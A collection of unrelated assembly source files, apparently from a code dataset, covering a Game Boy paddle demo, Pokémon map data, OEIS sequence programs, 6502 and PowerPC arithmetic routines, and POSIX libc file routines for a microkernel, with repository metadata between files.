INCLUDE "hardware.inc" SECTION "vblank",ROM0[$40] jp VBlankHandler SECTION "Header", ROM0[$100] EntryPoint: ; di ; disable interrupts jp Start ; This area is too smol REPT $150 - $104 db 0 ENDR SECTION "Speed Table",ROM0[$1000] XSpeedTable: db $01,$02,$03,$04 YSpeedTable: db $04,$03,$02,$01 Section "Game code", ROM0[$0400] Start: ; Turn off the LCD .waitVBlank ld a, [rLY] cp 144 ; is the LCD past VBlank? jr c, .waitVBlank xor a ; reset bit 7 (and all other bits) or LCDC ld [rLCDC], a ; okay we're in VBlank, let's get to work ld hl, $8000 ld a, $FF ld [hli], a ld [hli], a ld [hli], a ld [hli], a ld [hli], a ld [hli], a ld [hli], a ld [hli], a ld [hli], a ld [hli], a ld [hli], a ld [hli], a ld [hli], a ld [hli], a ld [hli], a ld [hli], a ld a, $FF ld [hli], a cpl ld [hli], a cpl ld [hli], a cpl ld [hli], a cpl ld [hli], a cpl ld [hli], a cpl ld [hli], a cpl ld [hli], a cpl ld [hli], a cpl ld [hli], a cpl ld [hli], a cpl ld [hli], a cpl ld [hli], a cpl ld [hli], a cpl ld [hli], a cpl ld [hli], a cpl ; init display registers ld a, %11100100 ld [rBGP], a ld [rOBP0], a ld [rOBP1], a xor a ld [rSCY], a ld [rSCX], a ; shut sound down ld [rNR52], a ; turn screen on, show BG ld a, %10000011 ld [rLCDC], a ld a, %00000001 ld [$FFFF], a ld a, $50 ; Middle of the screen or so ld [$FF83], a .lockup ei halt jr .lockup VBlankHandler: call Draw call Update reti Draw: .drawPaddle ld a, $84 ld [$FE00], a ld [$FE04], a ld [$FE08], a ld a, [$FF83] ld [$FE01], a add 8 ld [$FE05], a add 8 ld [$FE09], a xor a ld [$FE02], a ld [$FE03], a ; ld [$FE06], $1 ld [$FE07], a ld [$FE0A], a ld [$FE0B], a inc a ld [$FE06], a .timer ld hl, $FF80 ld a, [hl] inc a .drawBall ld hl, $FF84 ld a, [$FF85] ; x srl a bit 7, [hl] jr z, .go1 add $80 .go1 srl a ld [$FE0C], a ld a, [$FF86] ; y srl a bit 6, [hl] jr z, .go2 add $80 .go2 srl a ld [$FE0D], a xor a ld [$FE0E], a ld [$FE0F], a ;ld [$FF80], a ret Update: .getJoypad ld hl, $FF00 ld [hl], %0001000 ; read arrows ld a, [hl] ld a, [hl] ld a, [hl] ld a, [hl] ld a, [hl] ld a, [hl] cpl ld [$FF81], a ld b, a .movePaddle ld a, b and %00000010 jr nz, .moveLeft ld a, b and %00000001 jr nz, .moveRight jr .doneMovingPaddle .moveLeft ld a, [$FF83] sub 1 cp $08 jr c, .doneMovingPaddle ld [$FF83], a jr .doneMovingPaddle .moveRight ld a, [$FF83] add 1 cp $92 jr nc, .doneMovingPaddle ld [$FF83], a .doneMovingPaddle ; great .calculateBallSpeed xor a ld c, a ld a, [$FF84] ; ball info and $0F ; Just get the lower 4 cp $08 jr c, .goingUp ld b, a ld a, $0F sub b .goingUp ; a is now between 0 and 7 and $0F cp $04 jr c, .goingRight ld b, a ld a, $08 sub b .goingRight ; horizSpeed = [SpeedTable + a] ; vertSpeed = [EndSpeedTable - a] ld hl, XSpeedTable ld d, $00 ld e, a add de ld b, [hl] ; b is our horizontal velocity! ld hl, YSpeedTable add de ld c, [hl] ; c is our vertical velocity!! .moveBall .moveX ld a, [$FF85] ; Ball x position add b ld [$FF85], a jr nc, .moveY ld hl, $FF84 bit 7, [hl] ; z is set if the high x bit is NOT set jr nz, .collideX set 7, [hl] ; we're now in the right half jr .moveY .collideX ;ld a, [$FF84] ;and $0F ;neg a ;add 7 .moveY ld a, [$FF86] ; Ball y position add c ld [$FF86], a jr nc, .doneMovingBall ld hl, $FF84 ld c, [hl] bit 6, [hl] ; z is set if the high x bit is NOT set jr nz, .collideY set 6, [hl] ; we're now in the right half jr .doneMovingBall .collideY .doneMovingBall ret
14.649123
55
0.507305
ec493fef8d9617f27c3f39025a65df54d582d445
328
asm
Assembly
data/mapObjects/Route16FlyHouse.asm
AmateurPanda92/pokemon-rby-dx
f7ba1cc50b22d93ed176571e074a52d73360da93
[ "MIT" ]
9
2020-07-12T19:44:21.000Z
2022-03-03T23:32:40.000Z
data/mapObjects/Route16FlyHouse.asm
JStar-debug2020/pokemon-rby-dx
c2fdd8145d96683addbd8d9075f946a68d1527a1
[ "MIT" ]
7
2020-07-16T10:48:52.000Z
2021-01-28T18:32:02.000Z
data/mapObjects/Route16FlyHouse.asm
JStar-debug2020/pokemon-rby-dx
c2fdd8145d96683addbd8d9075f946a68d1527a1
[ "MIT" ]
2
2021-03-28T18:33:43.000Z
2021-05-06T13:12:09.000Z
Route16FlyHouse_Object: db $a ; border block db 2 ; warps warp 2, 7, 8, -1 warp 3, 7, 8, -1 db 0 ; signs db 2 ; objects object SPRITE_BRUNETTE_GIRL, 2, 3, STAY, RIGHT, 1 ; person object SPRITE_BIRD, 6, 4, WALK, 0, 2 ; person ; warp-to warp_to 2, 7, ROUTE_16_FLY_HOUSE_WIDTH warp_to 3, 7, ROUTE_16_FLY_HOUSE_WIDTH
19.294118
59
0.685976
41495dbdb017c853dd0edb5538237c83d4fb4e7c
280
asm
Assembly
programs/oeis/130/A130196.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/130/A130196.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/130/A130196.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A130196: Period 3: repeat [1, 2, 2]. ; 1,2,2,1,2,2,1,2,2,1,2,2,1,2,2,1,2,2,1,2,2,1,2,2,1,2,2,1,2,2,1,2,2,1,2,2,1,2,2,1,2,2,1,2,2,1,2,2,1,2,2,1,2,2,1,2,2,1,2,2,1,2,2,1,2,2,1,2,2,1,2,2,1,2,2,1,2,2,1,2,2,1,2,2,1,2,2,1,2,2,1,2,2,1,2,2,1,2,2,1 mod $0,3 pow $1,$0 gcd $1,2 mov $0,$1
35
201
0.510714
f77a18b6bb247b38221f807a13781441083a0229
2,214
asm
Assembly
source/support/code.asm
paulscottrobson/lean
53975cf780ba7c67d6f7c8ff3530fde2a4c70010
[ "MIT" ]
2
2020-01-05T03:47:50.000Z
2020-01-06T15:38:15.000Z
source/support/code.asm
paulscottrobson/lean
53975cf780ba7c67d6f7c8ff3530fde2a4c70010
[ "MIT" ]
null
null
null
source/support/code.asm
paulscottrobson/lean
53975cf780ba7c67d6f7c8ff3530fde2a4c70010
[ "MIT" ]
1
2021-05-14T17:04:16.000Z
2021-05-14T17:04:16.000Z
; ****************************************************************************** ; ****************************************************************************** ; ; Name : code.asm ; Purpose : Code Write Functions ; Author : Paul Robson (paul@robsons.org.uk) ; Created : 27th October 2019 ; ; ****************************************************************************** ; ****************************************************************************** ; ****************************************************************************** ; ; Reset Code Pointer ; ; ****************************************************************************** CodeReset: ldx #CodeMemory & 255 ldy #CodeMemory >> 8 lda #CodePage bra CodeSetPointer ; ****************************************************************************** ; ; Set code Pointer to A (Bank) YX ; ; ****************************************************************************** CodeSetPointer: pha ; copy old to backup lda codePtr sta codeBackup lda codePtr+1 sta codeBackup+1 lda codeBank sta codeBackup+2 pla sta codeBank ; update stx codePtr sty codePtr+1 rts ; ****************************************************************************** ; ; Restore backed up code pointer ; ; ****************************************************************************** CodeRestorePointer: lda codeBackup sta codePtr lda codeBackup+1 sta codePtr+1 lda codeBackup+2 sta codeBank rts ; ****************************************************************************** ; ; Write at codePtr a branch offset to YX ; ; ****************************************************************************** CodeWriteBranch: clc ; borrow 1 as branch is from one on txa sbc codePtr jsr CodeWriteByte ; compile anyway. tax ; actual result in X. tya sbc codePtr+1 ; beq _CWBCheckPositive ; 00xx cmp #$FF beq _CWBCheckNegative ; FFxx _CWBError: derror "BRANCH?" ; too far. ; _CWBCheckPositive: ; 0000-007F txa bmi _CWBError rts _CWBCheckNegative: ; FF80-FFFF txa bpl _CWBError rts
24.6
80
0.352304
8f65fa5c93b3fd65c66b0da6e8102d2a1637da8e
8,380
nasm
Assembly
modules/libc/posix/1.nasm
r-tty/radios
fdfaaadd256564ea3ed1b7fc408e7aecf648ae2b
[ "BSD-3-Clause" ]
null
null
null
modules/libc/posix/1.nasm
r-tty/radios
fdfaaadd256564ea3ed1b7fc408e7aecf648ae2b
[ "BSD-3-Clause" ]
null
null
null
modules/libc/posix/1.nasm
r-tty/radios
fdfaaadd256564ea3ed1b7fc408e7aecf648ae2b
[ "BSD-3-Clause" ]
null
null
null
;------------------------------------------------------------------------------- ; posix/1.nasm - POSIX 1003.1 routines. ;------------------------------------------------------------------------------- module libc.posix1 %include "rmk.ah" %include "errors.ah" %include "locstor.ah" %include "tm/procmsg.ah" %include "rm/netmgr.ah" %include "rm/iomsg.ah" %include "rm/fcntl.ah" %include "rm/devctl.ah" exportproc _creat, _open, _close, _read, _write, _dup, _fcntl exportproc _umask externproc _MsgSend, _MsgSendnc, _MsgSendv externproc _ConnectAttach, _ConnectDetach_r externproc _ConnectServerInfo, _ConnectFlags_r, _ConnectFlags externproc _netmgr_remote_nd, _getpid externproc Vopen, DevControl section .text ; int creat(const char *path, mode_t mode); proc _creat arg path, mode prologue Ccall _open, dword [%$path], O_WRONLY | O_CREAT | O_TRUNC, \ dword [%$mode] epilogue ret endp ;--------------------------------------------------------------- ; int open(const char *path, int oflag, ...); proc _open arg path, oflag, vararg prologue lea ebx,[%$vararg] Ccall Vopen, dword [%$path], dword [%$oflag], \ dword SH_DENYNO, ebx epilogue ret endp ;--------------------------------------------------------------- ; int close(int fd); proc _close arg fd locauto msg, tIOMclose_size prologue lea ebx,[%$msg] mov word [ebx+tIOMclose.Type],IOM_CLOSE mov eax,tIOMclose_size mov [ebx+tIOMclose.CombineLen],ax Ccall _MsgSend, dword [%$fd], ebx, eax, 0, 0 test eax,eax jns .Detach mGetErrno edx cmp edx,EINTR je .Err .Detach: push eax Ccall _ConnectDetach_r, dword [%$fd] mov edx,eax or eax,eax pop eax jz .Exit test eax,eax js .Err mSetErrno edx,eax .Err: xor eax,eax neg eax .Exit: epilogue ret endp ;--------------------------------------------------------------- ; int read(int fd, void *buf, size_t count); proc _read arg fd, buf, count locauto msg, tIOMread_size prologue lea ebx,[%$msg] mov word [ebx+tIOMread.Type],IOM_READ mov eax,tIOMread_size mov [ebx+tIOMread.CombineLen],ax mov ecx,[%$count] mov [ebx+tIOMread.Nbytes],ecx mov dword [ebx+tIOMread.Xtype],IOM_XTYPE_NONE Ccall _MsgSend, dword [%$fd], ebx, eax, dword [%$buf],ecx epilogue ret endp ;--------------------------------------------------------------- ; int write(int fd, const void *buf, size_t count); proc _write arg fd, buf, count locauto msg, tIOMwrite_size locauto iov, 2*tIOV_size prologue lea ebx,[%$msg] mov word [ebx+tIOMread.Type],IOM_WRITE mov eax,tIOMread_size mov [ebx+tIOMread.CombineLen],ax mov ecx,[%$count] mov [ebx+tIOMread.Nbytes],ecx mov dword [ebx+tIOMread.Xtype],IOM_XTYPE_NONE lea edx,[%$iov] mSetIOV edx, 0, ebx, eax mov ebx,[%$buf] mSetIOV edx, 1, ebx, ecx Ccall _MsgSendv, dword [%$fd], edx, 2, 0, 0 epilogue ret endp ;--------------------------------------------------------------- ; int dup(int fd); proc _dup arg fd prologue Ccall _fcntl, F_DUPFD, byte 0 epilogue ret endp ;--------------------------------------------------------------- ; int vfcntl(int fd, int cmd, va_list ap); proc vfcntl arg fd, cmd, ap locunion msg, tIOMdup, tIOMspace, tIOMlock locauto iov, 4*tIOV_size locauto info, tMsgInfo_size locals arg, pid, fd2 prologue savereg ebx,edx,esi,edi mov edx,[%$fd] mov eax,[%$cmd] cmp eax,256 jae near .ErrBadFun xor ecx,ecx cmp al,F_DUPFD je near .DupFD cmp al,F_GETFD je near .GetFD cmp al,F_SETFD je near .SetFD cmp al,F_GETFL je near .GetFl cmp al,F_SETFL je near .SetFl cmp al,F_GETOWN je near .GetOwn cmp al,F_SETOWN je near .SetOwn mov cl,al cmp al,F_ALLOCSP64 je near .AllocFreeSp64 cmp al,F_FREESP64 je near .AllocFreeSp64 cmp al,F_ALLOCSP je near .AllocSp cmp al,F_FREESP je near .FreeSp xor ecx,ecx inc cl cmp al,F_SETLK je near .Locking cmp al,F_SETLKW je near .Locking cmp al,F_SETLK64 je near .Locking cmp al,F_SETLKW64 je near .Locking inc cl cmp al,F_GETLK je near .Locking cmp al,F_GETLK64 je near .Locking .ErrBadFun: mSetErrno ENOSYS, eax xor eax,eax not eax jmp .Exit ; Duplicate a file descriptor .DupFD: cmp edx,-1 je near .ErrBadFile lea ebx,[%$info] Ccall _ConnectServerInfo, 0, edx, ebx cmp edx,eax jne near .ErrBadFile GetArg %$ap, Dword Ccall _ConnectAttach, dword [ebx+tMsgInfo.ND], \ dword [ebx+tMsgInfo.PID], dword [ebx+tMsgInfo.ChID], \ eax, byte COF_CLOEXEC cmp eax,-1 je near .FailRet mov [%$fd2],eax lea edi,[%$msg] mov word [edi+tIOMdup.Type],IOM_DUP mov word [edi+tIOMdup.CombineLen],tIOMdup_size Ccall _netmgr_remote_nd, dword [ebx+tMsgInfo.ND], byte ND_LOCAL_NODE mov [edi+tIOMdup.Info+tMsgInfo.ND],eax call _getpid mov [edi+tIOMdup.Info+tMsgInfo.PID],eax mov eax,[ebx+tMsgInfo.ChID] mov [edi+tIOMdup.Info+tMsgInfo.ChID],eax mov eax,[ebx+tMsgInfo.ScoID] mov [edi+tIOMdup.Info+tMsgInfo.ScoID],eax mov eax,[%$fd] mov [edi+tIOMdup.Info+tMsgInfo.CoID],eax Ccall _MsgSendnc, dword [%$fd2], edi, tIOMdup_size, 0, 0 cmp eax,-1 je .DetachErr Ccall _ConnectFlags_r, dword [%$fd2] mov eax,[%$fd2] jmp .Exit .DetachErr: Ccall _ConnectDetach_r, dword [%$fd2] jmp .FailRet .ErrBadFile: mSetErrno EBADF, eax .FailRet: xor eax,eax dec eax jmp .Exit ; Get file descriptor flags .GetFD: Ccall _ConnectFlags, 0, edx, 0, 0 jmp .Exit ; Set file descriptor flags .SetFD: GetArg %$ap, Dword Ccall _ConnectFlags, 0, edx, -1, eax, 0 jmp .Exit ; Get file status / access modes flags .GetFl: lea eax,[%$arg] Ccall DevControl, edx, DCMD_ALL_GETFLAGS, eax, Dword_size, 0 cmp eax,-1 je near .Exit mov eax,[%$arg] jmp near .Exit ; Set file status / access modes flags .SetFl: mov eax,[%$ap] Ccall DevControl, edx, DCMD_ALL_SETFLAGS, eax, Dword_size, 0 jmp .Exit ; DCMD_ALL_GETOWN devctl .GetOwn: lea eax,[%$arg] Ccall DevControl, edx, DCMD_ALL_GETOWN, eax, Dword_size, 0 cmp eax,-1 je near .Exit mov eax,[%$arg] jmp .Exit ; DCMD_ALL_SETOWN devctl .SetOwn: mov eax,[%$ap] Ccall DevControl, edx, DCMD_ALL_SETOWN, eax, Dword_size, 0 jmp .Exit ; Extend or truncate the file .AllocFreeSp64: lea ebx,[%$msg] mov esi,[%$ap] ; Use 64-bit values Mov64 ebx+tIOMspace.Start,esi+tFlock.Start Mov64 ebx+tIOMspace.Len,esi+tFlock.Len jmp .ExtTrCommon .AllocSp: mov cl,F_ALLOCSP64 jmp .ExtTrunc32 .FreeSp: mov cl,F_FREESP64 .ExtTrunc32: lea ebx,[%$msg] mov esi,[%$ap] ; Use 32-bit values Mov64 ebx+tIOMspace.Start,esi+tFlock.Start Mov64 ebx+tIOMspace.Len,esi+tFlock.Len .ExtTrCommon: Mov16 ebx+tIOMspace.Whence,esi+tFlock.Whence mov word [ebx+tIOMspace.Type],IOM_SPACE mov word [ebx+tIOMspace.CombineLen],tIOMspace_size mov [ebx+tIOMspace.Subtype],ecx Ccall _MsgSend, edx, ebx, byte tIOMspace_size, 0, 0 jmp .Exit ; Locking functions .Locking: lea ebx,[%$msg] mov word [ebx+tIOMlock.Type],IOM_LOCK mov word [ebx+tIOMlock.CombineLen],tIOMlock_size mov [ebx+tIOMlock.Subtype],eax lea edi,[%$iov] mSetIOV edi, 0, ebx, tIOMlock_size mSetIOV edi, 2, ebx, tIOMlock_size mov esi,[%$arg] mSetIOV edi, 1, esi, tFlock_size mSetIOV edi, 3, esi, tFlock_size lea esi,[%$iov+2*tIOV_size] Ccall _MsgSendv, edx, edi, 2, esi, ecx .Exit: epilogue ret endp ;--------------------------------------------------------------- ; int fcntl(int fd, int cmd, ...); proc _fcntl arg fd, cmd, vararg prologue lea ebx,[%$vararg] Ccall vfcntl, dword [%$fd], dword [%$cmd], ebx epilogue ret endp ;--------------------------------------------------------------- ; mode_t Umask(pid_t pid, mode_t cmask); proc Umask arg pid, cmask locauto msg, tMsg_ProcUmask_size prologue savereg edx lea edx,[%$msg] mov dword [edx],PROC_UMASK + (PROC_UMASK_SET << 16) Mov32 edx+tProcUmaskRequest.Umask,%$cmask Mov32 edx+tProcUmaskRequest.PID,%$pid Ccall _MsgSendnc, PROCMGR_COID, edx, tProcUmaskRequest_size, \ edx, tProcUmaskReply_size cmp eax,-1 je .Exit mov eax,[%$msg+tProcUmaskReply.Umask] .Exit: epilogue ret endp ;--------------------------------------------------------------- ; mode_t umask(mode_t cmask); proc _umask arg cmask prologue Ccall Umask, byte 0, dword [%$cmask] epilogue ret endp ;---------------------------------------------------------------
23.085399
80
0.628043
bb446d24edf5a867a867002e6dfeb59e89687802
597
asm
Assembly
oeis/006/A006588.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/006/A006588.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/006/A006588.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A006588: a(n) = 4^n*(3*n)!/((2*n)!*n!). ; 1,12,240,5376,126720,3075072,76038144,1905131520,48199827456,1228623052800,31504481648640,811751838842880,20999667135283200,545086744471535616,14189559697354260480,370298578584748425216,9684502341534993088512,253765034617761850982400,6660727956252872964833280,175092820244030003399884800,4608981775962082089495429120,121471561510025048518966640640,3205000185296221153312269926400,84649164314258455504293923389440,2237799716180130446044365953433600,59209440327208480014032644312399872 mov $2,$0 mul $2,2 add $0,$2 bin $0,$2 mov $1,2 pow $1,$2 mul $0,$1
54.272727
485
0.852596
678e4c751c3b7ed2c755161fcae631c15b50800b
2,100
asm
Assembly
programs/oeis/168/A168662.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/168/A168662.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/168/A168662.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A168662: a(n) = n^7*(n^5 + 1)/2. ; 0,1,2112,266814,8396800,122109375,1088531136,6921055372,34360786944,141217159725,500005000000,1569223931946,4458068140032,11649073935499,28347008894400,64873254375000,140737622573056,291311323784217,578415996823104,1106657906468950,2048000640000000,3677914656237591,6427502562703552,10957313918422884,18260176011264000,29802325439453125,47714482346746176,75047322878676162,116109139291070464,176907400227672675,265720510935000000,393831405650581936,576460769483292672,833944778785713969,1193210368108225600,1689610286197968750,2369190708342890496,3291476050385956207,4532869011455289024,6190778896403715900,8388608081920000000,11281745247560229981,15064734858589507392,19979815534540593754,26327045548027699200,34476261964300546875,44881151054686446016,58095741807785849352,74793671842578038784,95790616029394743625,122070312890625000000,154814672636516046726,195438503757160947712,245629452715718647239,307393813757716804800,383108933466417812500,475583007766254452736,588123147929168580597,724612677108792679744,889598710364092100850,1088391169399680000000,1327174488720164497171,1613133382959757213632,1954594166208904259424,2361183243633845862400,2844004534003970390625,3415837729351293550656,4091359455346784374942,4887389563564965371904,5823164965111832332575,6920643604617715000000,8204841374867965646316,9704204985897977905152,11451024028768828615309,13481885714036032392000,15838176018713378906250,18566631243920347979776,21719944269006053457387,25357430087403303075264,29545755525439031183800,34359738378485760000000,39883221549874651159161,46210028147614222622272,53445003882898587699894,61705153523392585113600,71120878584114913984375,81837323890190147580096,94015841119611576052932,107835577931274281549824,123495201804746737599525,141214768264414845000000,161237743732640442300706,183833193855333450964992,209298148769770380298179,237960157439550567947200,270180043866235346250000,306354878702456055791616,346921180538118142386577,392358361910806293355584,443192435904667907724750 mov $1,$0 pow $0,7 mov $2,$1 pow $2,5 mul $2,$0 add $0,$2 div $0,2
190.909091
1,996
0.92619
e5a5cb1692ef033a561b6109c172e73b57615ac6
3,732
asm
Assembly
externals/mpir-3.0.0/mpn/powerpc32/add_n.asm
JaminChan/eos_win
c03e57151cfe152d0d3120abb13226f4df74f37e
[ "MIT" ]
12
2021-09-29T14:50:06.000Z
2022-03-31T15:01:21.000Z
externals/mpir-3.0.0/mpn/powerpc32/add_n.asm
JaminChan/eos_win
c03e57151cfe152d0d3120abb13226f4df74f37e
[ "MIT" ]
15
2021-12-24T22:53:49.000Z
2021-12-25T10:03:13.000Z
LibSource/mpir/mpn/powerpc32/add_n.asm
ekzyis/CrypTool-2
1af234b4f74486fbfeb3b3c49228cc36533a8c89
[ "Apache-2.0" ]
10
2021-10-17T19:46:51.000Z
2022-03-18T02:57:57.000Z
dnl PowerPC-32 mpn_add_n -- add limb vectors. dnl Copyright 2002, 2005 Free Software Foundation, Inc. dnl This file is part of the GNU MP Library. dnl The GNU MP Library is free software; you can redistribute it and/or modify dnl it under the terms of the GNU Lesser General Public License as published dnl by the Free Software Foundation; either version 2.1 of the License, or (at dnl your option) any later version. dnl The GNU MP Library is distributed in the hope that it will be useful, but dnl WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY dnl or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public dnl License for more details. dnl You should have received a copy of the GNU Lesser General Public License dnl along with the GNU MP Library; see the file COPYING.LIB. If not, write dnl to the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, dnl Boston, MA 02110-1301, USA. include(`../config.m4') C cycles/limb C 603e: ? C 604e: 3.25 C 75x (G3): 3.5 C 7400,7410 (G4): 3.5 C 744x,745x (G4+): 4.25 C power4/ppc970: 2.0 C power5: 2.5 C INPUT PARAMETERS C rp r3 C s1p r4 C s2p r5 C n r6 C cy r7 ASM_START() PROLOGUE(mpn_add_nc) addic r0,r7,-1 C set hw cy from cy argument cmpwi cr0,r6,15 C more than 15 limbs? ble L(com) C branch if <= 15 limbs b L(BIG) EPILOGUE(mpn_add_nc) PROLOGUE(mpn_add_n) addic r0,r0,0 C clear hw cy cmpwi cr0,r6,15 C more than 15 limbs? bgt L(BIG) C branch if > 15 limbs L(com): mtctr r6 C copy size into CTR addi r3,r3,-4 C offset rp, it's updated before it's used lwz r0,0(r4) C load s1 limb lwz r7,0(r5) C load s2 limb adde r10,r7,r0 bdz L(endS) L(loopS): lwzu r0,4(r4) C load s1 limb lwzu r7,4(r5) C load s2 limb stwu r10,4(r3) C store result limb adde r10,r7,r0 bdnz L(loopS) L(endS): stwu r10,4(r3) C store result limb li r3,0 addze r3,r3 blr L(BIG): stmw r30,-8(r1) C should avoid this for small sizes! andi. r12,r6,3 mtctr r12 C copy size into CTR addi r4,r4,-4 addi r5,r5,-4 addi r3,r3,-4 beq L(multiple_of_4) lwzu r0,4(r4) C load s1 limb lwzu r7,4(r5) C load s2 limb adde r10,r7,r0 bdz L(end0) L(loop0): lwzu r0,4(r4) C load s1 limb lwzu r7,4(r5) C load s2 limb stwu r10,4(r3) C store result limb adde r10,r7,r0 bdnz L(loop0) L(end0): stwu r10,4(r3) C store result limb L(multiple_of_4): srwi r6,r6,2 mtctr r6 C copy size into CTR lwz r0,4(r4) C load s1 limb lwz r7,4(r5) C load s2 limb lwz r8,8(r4) C load s1 limb lwz r9,8(r5) C load s2 limb lwz r10,12(r4) C load s1 limb lwz r11,12(r5) C load s2 limb lwzu r12,16(r4) C load s1 limb adde r31,r7,r0 C add limbs with cy, set cy lwzu r6,16(r5) C load s2 limb bdz L(enda) L(loop): lwz r0,4(r4) C load s1 limb adde r30,r9,r8 C add limbs with cy, set cy lwz r7,4(r5) C load s2 limb stw r31,4(r3) C store result limb lwz r8,8(r4) C load s1 limb adde r31,r11,r10 C add limbs with cy, set cy lwz r9,8(r5) C load s2 limb stw r30,8(r3) C store result limb lwz r10,12(r4) C load s1 limb adde r30,r6,r12 C add limbs with cy, set cy lwz r11,12(r5) C load s2 limb stw r31,12(r3) C store result limb lwzu r12,16(r4) C load s1 limb adde r31,r7,r0 C add limbs with cy, set cy stwu r30,16(r3) C store result limb lwzu r6,16(r5) C load s2 limb bdnz L(loop) C decrement CTR and loop back L(enda): adde r30,r9,r8 C add limbs with cy, set cy stw r31,4(r3) C store result limb adde r31,r11,r10 C add limbs with cy, set cy stw r30,8(r3) C store result limb adde r30,r6,r12 C add limbs with cy, set cy stw r31,12(r3) C store result limb stw r30,16(r3) C store result limb L(end): li r3,0 addze r3,r3 lmw r30,-8(r1) blr EPILOGUE(mpn_add_n)
27.240876
79
0.696677
a0501d8fde5346174878cf9581114e22deba5ec4
185
asm
Assembly
audio/sfx/healing_machine_3.asm
AmateurPanda92/pokemon-rby-dx
f7ba1cc50b22d93ed176571e074a52d73360da93
[ "MIT" ]
9
2020-07-12T19:44:21.000Z
2022-03-03T23:32:40.000Z
audio/sfx/healing_machine_3.asm
JStar-debug2020/pokemon-rby-dx
c2fdd8145d96683addbd8d9075f946a68d1527a1
[ "MIT" ]
7
2020-07-16T10:48:52.000Z
2021-01-28T18:32:02.000Z
audio/sfx/healing_machine_3.asm
JStar-debug2020/pokemon-rby-dx
c2fdd8145d96683addbd8d9075f946a68d1527a1
[ "MIT" ]
2
2021-03-28T18:33:43.000Z
2021-05-06T13:12:09.000Z
SFX_Healing_Machine_3_Ch4: duty 2 pitchenvelope 2, -4 squarenote 4, 15, 2, 1280 pitchenvelope 2, 2 squarenote 2, 15, 1, 1280 pitchenvelope 0, 0 squarenote 1, 0, 0, 0 endchannel
18.5
26
0.72973
62ea23896f0c056a48980b763594bf7b98870e72
587
asm
Assembly
oeis/304/A304831.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/304/A304831.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/304/A304831.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A304831: a(n) = 123*2^n - 135. ; 111,357,849,1833,3801,7737,15609,31353,62841,125817,251769,503673,1007481,2015097,4030329,8060793,16121721,32243577,64487289,128974713,257949561,515899257,1031798649,2063597433,4127195001,8254390137,16508780409,33017560953,66035122041,132070244217,264140488569,528280977273,1056561954681,2113123909497,4226247819129,8452495638393,16904991276921,33809982553977,67619965108089,135239930216313,270479860432761,540959720865657,1081919441731449,2163838883463033,4327677766926201,8655355533852537 mov $1,2 pow $1,$0 sub $1,1 mul $1,246 add $1,111 mov $0,$1
58.7
492
0.844974
01850b4a54b70ca0968a5bec98a116dde513e8d2
2,527
asm
Assembly
programs/oeis/194/A194716.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/194/A194716.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/194/A194716.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
; A194716: Number of n-ary words beginning with the first character of the alphabet, that can be built by inserting four doublets into the initially empty word. ; 0,1,35,181,523,1145,2131,3565,5531,8113,11395,15461,20395,26281,33203,41245,50491,61025,72931,86293,101195,117721,135955,155981,177883,201745,227651,255685,285931,318473,353395,390781,430715,473281,518563,566645,617611,671545,728531,788653,851995,918641,988675,1062181,1139243,1219945,1304371,1392605,1484731,1580833,1680995,1785301,1893835,2006681,2123923,2245645,2371931,2502865,2638531,2779013,2924395,3074761,3230195,3390781,3556603,3727745,3904291,4086325,4273931,4467193,4666195,4871021,5081755,5298481,5521283,5750245,5985451,6226985,6474931,6729373,6990395,7258081,7532515,7813781,8101963,8397145,8699411,9008845,9325531,9649553,9980995,10319941,10666475,11020681,11382643,11752445,12130171,12515905,12909731,13311733,13721995,14140601,14567635,15003181,15447323,15900145,16361731,16832165,17311531,17799913,18297395,18804061,19319995,19845281,20380003,20924245,21478091,22041625,22614931,23198093,23791195,24394321,25007555,25630981,26264683,26908745,27563251,28228285,28903931,29590273,30287395,30995381,31714315,32444281,33185363,33937645,34701211,35476145,36262531,37060453,37869995,38691241,39524275,40369181,41226043,42094945,42975971,43869205,44774731,45692633,46622995,47565901,48521435,49489681,50470723,51464645,52471531,53491465,54524531,55570813,